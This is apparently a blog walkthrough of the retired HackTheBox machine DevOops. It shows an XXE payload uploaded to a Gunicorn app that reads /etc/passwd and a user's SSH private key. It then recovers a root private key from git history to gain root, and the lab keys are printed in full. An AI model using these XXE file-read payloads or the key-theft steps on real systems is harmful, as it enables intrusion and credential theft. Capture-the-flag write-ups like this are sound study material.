HacktheBox - DevOops - Retired
Recon
Let's use threader3000 for our recon scan. It's a threaded scanner written in python that does a super quick up/down scan on all TCP ports, then suggests a nmap scan based on the results. It will automatically save the nmap scan results as XML, then we can convert it to HTML
xsltproc ./devops.htb/devops.htb.xml -o ./devops.html |
Just two ports open
Port Service Version 22 OpenSSH 7.2p2 5000 Gunicorn 19.7.1
|
What is Gunicorn?
https://gunicorn.org/
"Gunicorn 'Green Unicorn' is a Python WSGI HTTP Server for UNIX. It's a pre-fork worker model. The Gunicorn server is broadly compatible with various web frameworks, simply implemented, light on server resources, and fairly speedy"
There is just some text at the top and a picture of another website….
Let's brute force this and see if we can find any other interesting things to look at on this web server.
Upload huh? I
love uploads. Let's check it out.
Here it talks about XML elements, so it looks like it wants an XML file uploaded
Let's try to upload an XML file. Let's just use the output of our threader 3000 scan to see what happens.
Internal Server Error
If we try to upload other file types like PHP, we don't get this error. We simply are sent back to the upload screen…. Ok so it looks like we need to abuse this with XML somehow
Exploit
XXE
https://portswigger.net/web-security/xxe
We know from the instructions on the upload page that there are 3 elements
XML elements: Author, Subject, Content |
So Let's just create a test xml with these three elements.
Here is an example on what an XML file might look like
https://www.w3schools.com/xml/
<?xml version="1.0" encoding="UTF-8"?> <note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend!</body> </note> |
So let's just change it to use the three elements that we know it needs.
<?xml version="1.0" encoding="UTF-8"?> <Author> <Subject>Tove</Subject> <Content>Jani</Content> </Author> |
And let's save this as test.xml and try to upload it using the upload function.
PROCESSED BLOGPOST: Author: Jani Subject: Tove Content: Jani URL for later reference: /uploads/test.xml File path: /home/roosa/deploy/src |
It says we can find it at http://devops.htb:5000/uploads/test.xml, Let's see
Ok so we know what the xml file needs to look like to get uploaded.
Let's take a look at this site which gives us a method for getting /etc/passwd
netsparker.com/blog/web-security/xxe-xml-external-entity-attacks/
We need to add
<!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> |
Near the top of the XML and then call our XXE inside of a one of the XML Elements so our whole modified XML would look like.
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <Author> <Subject>Tove</Subject> <Content>Jani &xxe;</Content> </Author> |
And hopefully we we upload this we can get the output of /etc/passwd
Score we did!!!
Now let's capture this in burp so we can start poking around for other interesting files we might have access to.
After we capture the POST let's send it over to repeater.
So we should now have something similar to this.
Let's send it just to make sure it's still working like we expect.
Ok we did get /etc/passwd just like before
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false syslog:x:104:108::/home/syslog:/bin/false _apt:x:105:65534::/nonexistent:/bin/false messagebus:x:106:110::/var/run/dbus:/bin/false uuidd:x:107:111::/run/uuidd:/bin/false lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false whoopsie:x:109:117::/nonexistent:/bin/false avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false saned:x:119:127::/var/lib/saned:/bin/false usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false osboxes:x:1000:1000:osboxes.org,,,:/home/osboxes:/bin/false git:x:1001:1001:git,,,:/home/git:/bin/bash roosa:x:1002:1002:,,,:/home/roosa:/bin/bash sshd:x:121:65534::/var/run/sshd:/usr/sbin/nologin blogfeed:x:1003:1003:,,,:/home/blogfeed:/bin/false
|
So from here we can see a couple of users that aren't default…
Osboxes, git, roosa,blogfeed.
Didn't we see that roosa one before in our first XML successful upload?
PROCESSED BLOGPOST: Author: Jani Subject: Tove Content: Jani URL for later reference: /uploads/test.xml File path: /home/roosa/deploy/src
|
We did its says the file path was /home/roosa/deploy/src.
We can now just kinda poke around and see if we can get some more info using our XML
If we edit the burp POST we have captured in repeater and change the file to
file:///home/roosa/user.txt |
To see if we can get user.txt out of roosa's home directory.
We did get the user.txt file. I wonder if we can check for a SSH key that we might be able to steal to login as roosa.
The default name and location for a ssh key is /home/*username*/.ssh/id_rsa
So let's update our file read to that file, in that location for roosa.
file:///home/roosa/.ssh/id_rsa |
And send that in repeater.
HTTP/1.1 200 OK Server: gunicorn/19.7.1 Date: Fri, 06 Nov 2020 19:21:05 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 3503
PROCESSED BLOGPOST: Author: Jani -----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAuMMt4qh/ib86xJBLmzePl6/5ZRNJkUj/Xuv1+d6nccTffb/7 9sIXha2h4a4fp18F53jdx3PqEO7HAXlszAlBvGdg63i+LxWmu8p5BrTmEPl+cQ4J R/R+exNggHuqsp8rrcHq96lbXtORy8SOliUjfspPsWfY7JbktKyaQK0JunR25jVk v5YhGVeyaTNmSNPTlpZCVGVAp1RotWdc/0ex7qznq45wLb2tZFGE0xmYTeXgoaX4 9QIQQnoi6DP3+7ErQSd6QGTq5mCvszpnTUsmwFj5JRdhjGszt0zBGllsVn99O90K m3pN8SN1yWCTal6FLUiuxXg99YSV0tEl0rfSUwIDAQABAoIBAB6rj69jZyB3lQrS JSrT80sr1At6QykR5ApewwtCcatKEgtu1iWlHIB9TTUIUYrYFEPTZYVZcY50BKbz ACNyme3rf0Q3W+K3BmF//80kNFi3Ac1EljfSlzhZBBjv7msOTxLd8OJBw8AfAMHB lCXKbnT6onYBlhnYBokTadu4nbfMm0ddJo5y32NaskFTAdAG882WkK5V5iszsE/3 koarlmzP1M0KPyaVrID3vgAvuJo3P6ynOoXlmn/oncZZdtwmhEjC23XALItW+lh7 e7ZKcMoH4J2W8OsbRXVF9YLSZz/AgHFI5XWp7V0Fyh2hp7UMe4dY0e1WKQn0wRKe 8oa9wQkCgYEA2tpna+vm3yIwu4ee12x2GhU7lsw58dcXXfn3pGLW7vQr5XcSVoqJ Lk6u5T6VpcQTBCuM9+voiWDX0FUWE97obj8TYwL2vu2wk3ZJn00U83YQ4p9+tno6 NipeFs5ggIBQDU1k1nrBY10TpuyDgZL+2vxpfz1SdaHgHFgZDWjaEtUCgYEA2B93 hNNeXCaXAeS6NJHAxeTKOhapqRoJbNHjZAhsmCRENk6UhXyYCGxX40g7i7T15vt0 ESzdXu+uAG0/s3VNEdU5VggLu3RzpD1ePt03eBvimsgnciWlw6xuZlG3UEQJW8sk A3+XsGjUpXv9TMt8XBf3muESRBmeVQUnp7RiVIcCgYBo9BZm7hGg7l+af1aQjuYw agBSuAwNy43cNpUpU3Ep1RT8DVdRA0z4VSmQrKvNfDN2a4BGIO86eqPkt/lHfD3R KRSeBfzY4VotzatO5wNmIjfExqJY1lL2SOkoXL5wwZgiWPxD00jM4wUapxAF4r2v vR7Gs1zJJuE4FpOlF6SFJQKBgHbHBHa5e9iFVOSzgiq2GA4qqYG3RtMq/hcSWzh0 8MnE1MBL+5BJY3ztnnfJEQC9GZAyjh2KXLd6XlTZtfK4+vxcBUDk9x206IFRQOSn y351RNrwOc2gJzQdJieRrX+thL8wK8DIdON9GbFBLXrxMo2ilnBGVjWbJstvI9Yl aw0tAoGAGkndihmC5PayKdR1PYhdlVIsfEaDIgemK3/XxvnaUUcuWi2RhX3AlowG xgQt1LOdApYoosALYta1JPen+65V02Fy5NgtoijLzvmNSz+rpRHGK6E8u3ihmmaq 82W3d4vCUPkKnrgG8F7s3GL6cqWcbZBd0j9u88fUWfPxfRaQU3s= -----END RSA PRIVATE KEY----- |
Woot we got roosa's private key let's save that out to a file named id_rsa on our kali box.
We will need to restrict the rights on the file or else SSH will yell at us.
Now we should be able to connect up using ssh
ssh -i ./id_rsa roosa@devops.htb |
And we are in as roosa, congratulations!!
On hackthebox it's always a good idea to check out all the files and folders around where you land with your shell.
Immediately we can see a couple of folder that are interesting.
Deploy and work chief among them….
Let's look in work.
roosa@gitter:~/work$ ls -al total 12 drwxrwxr-x 3 roosa roosa 4096 Mar 21 2018 . drwxr-xr-x 22 roosa roosa 4096 May 29 2018 .. drwxrwx--- 5 roosa roosa 4096 Mar 21 2018 blogfeed |
Just one folder named blogfeed let's check it out.
roosa@gitter:~/work/blogfeed$ ls -al total 28 drwxrwx--- 5 roosa roosa 4096 Mar 21 2018 . drwxrwxr-x 3 roosa roosa 4096 Mar 21 2018 .. drwxrwx--- 8 roosa roosa 4096 Mar 26 2018 .git -rw-rw---- 1 roosa roosa 104 Mar 19 2018 README.md drwxrwx--- 3 roosa roosa 4096 Mar 19 2018 resources -rwxrw-r-- 1 roosa roosa 180 Mar 21 2018 run-gunicorn.sh drwxrwx--- 2 roosa roosa 4096 Mar 26 2018 src |
A .git folder?
That could be interesting sometimes when people push to git they accidentally leak some interesting things they probably shouldn't
If you are unfamiliar with what to look for when you see .git folders just google "pentest git" and you will find some great resources of things to check out.
If we run
We can see this in the log..
commit 33e87c312c08735a02fa9c796021a4a3023129ad Author: Roosa Hakkerson <roosa@solita.fi> Date: Mon Mar 19 09:33:06 2018 -0400
reverted accidental commit with proper key |
Reverted accidental commit with proper key huh? Could they have accidentally put the wrong key in the commit and the great thing about git…. It's all there even if they change it, it keeps the accidental exposure they did originally
We just need to do git show with the commit hash to see what changed there.
git show 33e87c312c08735a02fa9c796021a4a3023129ad |
And our response shows
ommit 33e87c312c08735a02fa9c796021a4a3023129ad Author: Roosa Hakkerson <roosa@solita.fi> Date: Mon Mar 19 09:33:06 2018 -0400
reverted accidental commit with proper key
diff --git a/resources/integration/authcredentials.key b/resources/integration/authcredentials.key index 44c981f..f4bde49 100644 --- a/resources/integration/authcredentials.key +++ b/resources/integration/authcredentials.key @@ -1,28 +1,27 @@ -----BEGIN RSA PRIVATE KEY----- -MIIEogIBAAKCAQEArDvzJ0k7T856dw2pnIrStl0GwoU/WFI+OPQcpOVj9DdSIEde -8PDgpt/tBpY7a/xt3sP5rD7JEuvnpWRLteqKZ8hlCvt+4oP7DqWXoo/hfaUUyU5i -vr+5Ui0nD+YBKyYuiN+4CB8jSQvwOG+LlA3IGAzVf56J0WP9FILH/NwYW2iovTRK -nz1y2vdO3ug94XX8y0bbMR9Mtpj292wNrxmUSQ5glioqrSrwFfevWt/rEgIVmrb+ -CCjeERnxMwaZNFP0SYoiC5HweyXD6ZLgFO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5SwWkec6 -md/EqUtm84/VugTzNH5JS234dYAbrx498jQaTvV8UgtHJSxAZftL8UAJXmqOR3ie -LWXpAoGADMbq4aFzQuUPldxr3thx0KRz9LJUJfrpADAUbxo8zVvbwt4gM2vsXwcz -oAvexd1JRMkbC7YOgrzZ9iOxHP+mg/LLENmHimcyKCqaY3XzqXqk9lOhA3ymOcLw -LS4O7JPRqVmgZzUUnDiAVuUHWuHGGXpWpz9EGau6dIbQaUUSOEE= |
With this part listed in a different color below
This part is in green the above was in red..
+MIIEpQIBAAKCAQEApc7idlMQHM4QDf2d8MFjIW40UickQx/cvxPZX0XunSLD8veN +ouroJLw0Qtfh+dS6y+rbHnj4+HySF1HCAWs53MYS7m67bCZh9Bj21+E4fz/uwDSE +23g18kmkjmzWQ2AjDeC0EyWH3k4iRnABruBHs8+fssjW5sSxze74d7Ez3uOI9zPE +sQ26ynmLutnd/MpyxFjCigP02McCBrNLaclcbEgBgEn9v+KBtUkfgMgt5CNLfV8s +ukQs4gdHPeSj7kDpgHkRyCt+YAqvs3XkrgMDh3qI9tCPfs8jHUvuRHyGdMnqzI16 +ZBlx4UG0bdxtoE8DLjfoJuWGfCF/dTAFLHK3mwIDAQABAoIBADelrnV9vRudwN+h +LZ++l7GBlge4YUAx8lkipUKHauTL5S2nDZ8O7ahejb+dSpcZYTPM94tLmGt1C2bO +JqlpPjstMu9YtIhAfYF522ZqjRaP82YIekpaFujg9FxkhKiKHFms/2KppubiHDi9 +oKL7XLUpSnSrWQyMGQx/Vl59V2ZHNsBxptZ+qQYavc7bGP3h4HoRurrPiVlmPwXM +xL8NWx4knCZEC+YId8cAqyJ2EC4RoAr7tQ3xb46jC24Gc/YFkI9b7WCKpFgiszhw +vFvkYQDuIvzsIyunqe3YR0v8TKEfWKtm8T9iyb2yXTa+b/U3I9We1P+0nbfjYX8x +6umhQuECgYEA0fvp8m2KKJkkigDCsaCpP5dWPijukHV+CLBldcmrvUxRTIa8o4e+ +OWOMW1JPEtDTj7kDpikekvHBPACBd5fYnqYnxPv+6pfyh3H5SuLhu9PPA36MjRyE +4+tDgPvXsfQqAKLF3crG9yKVUqw2G8FFo7dqLp3cDxCs5sk6Gq/lAesCgYEAyiS0 +937GI+GDtBZ4bjylz4L5IHO55WI7CYPKrgUeKqi8ovKLDsBEboBbqRWcHr182E94 +SQMoKu++K1nbly2YS+mv4bOanSFdc6bT/SAHKdImo8buqM0IhrYTNvArN/Puv4VT +Nszh8L9BDEc/DOQQQzsKiwIHab/rKJHZeA6cBRECgYEAgLg6CwAXBxgJjAc3Uge4 +eGDe3y/cPfWoEs9/AptjiaD03UJi9KPLegaKDZkBG/mjFqFFmV/vfAhyecOdmaAd +i/Mywc/vzgLjCyBUvxEhazBF4FB8/CuVUtnvAWxgJpgT/1vIi1M4cFpkys8CRDVP +6TIQBw+BzEJemwKTebSFX40CgYEAtZt61iwYWV4fFCln8yobka5KoeQ2rCWvgqHb +8rH4Yz0LlJ2xXwRPtrMtJmCazWdSBYiIOZhTexe+03W8ejrla7Y8ZNsWWnsCWYgV +RoGCzgjW3Cc6fX8PXO+xnZbyTSejZH+kvkQd7Uv2ZdCQjcVL8wrVMwQUouZgoCdA +qML/WvECgYEAyNoevgP+tJqDtrxGmLK2hwuoY11ZIgxHUj9YkikwuZQOmFk3EffI +T3Sd/6nWVzi1FO16KjhRGrqwb6BCDxeyxG508hHzikoWyMN0AA2st8a8YS6jiOog +bU34EzQLp7oRU/TKO6Mx5ibQxkZPIHfgA1+Qsu27yIwlprQ64+oeEr0= -----END RSA PRIVATE KEY----- |
-
So it looks like the second part is a the part that over wrote the part in red… and if this looks familiar, its because its the ssh key we found earlier for roosa….. So either they changed their key or they accidently uploaded the wrong one… like maybe the root ssh key?
Let's save the red part out with the
You'lll need to remove the appended minus sign on the lines. The finished product should look like this.
-----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEArDvzJ0k7T856dw2pnIrStl0GwoU/WFI+OPQcpOVj9DdSIEde 8PDgpt/tBpY7a/xt3sP5r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EzFvS iD6fE+5/i/rYHs2Gfz5NlY39ecN5ixbAcM2tDrUo/PcFlfXQhrERxRXJQKPHdJP7 VRFHfKaKuof+bEoEtgATuwKBgC3Ce3bnWEBJuvIjmt6u7EFKj8CgwfPRbxp/INRX S8Flzil7vCo6C1U8ORjnJVwHpw12pPHlHTFgXfUFjvGhAdCfY7XgOSV+5SwWkec6 md/EqUtm84/VugTzNH5JS234dYAbrx498jQaTvV8UgtHJSxAZftL8UAJXmqOR3ie LWXpAoGADMbq4aFzQuUPldxr3thx0KRz9LJUJfrpADAUbxo8zVvbwt4gM2vsXwcz oAvexd1JRMkbC7YOgrzZ9iOxHP+mg/LLENmHimcyKCqaY3XzqXqk9lOhA3ymOcLw LS4O7JPRqVmgZzUUnDiAVuUHWuHGGXpWpz9EGau6dIbQaUUSOEE= -----END RSA PRIVATE KEY----- |
Let's save it as id_rsa2
And change the permissions on it to be less open just like we did before.
Now let's try to ssh in as root with this key.
ssh -i ./id_rsa2 root@devops.htb |
And we are in as root. All we need to do is grab that root.txt flag now.
Comments
Post a Comment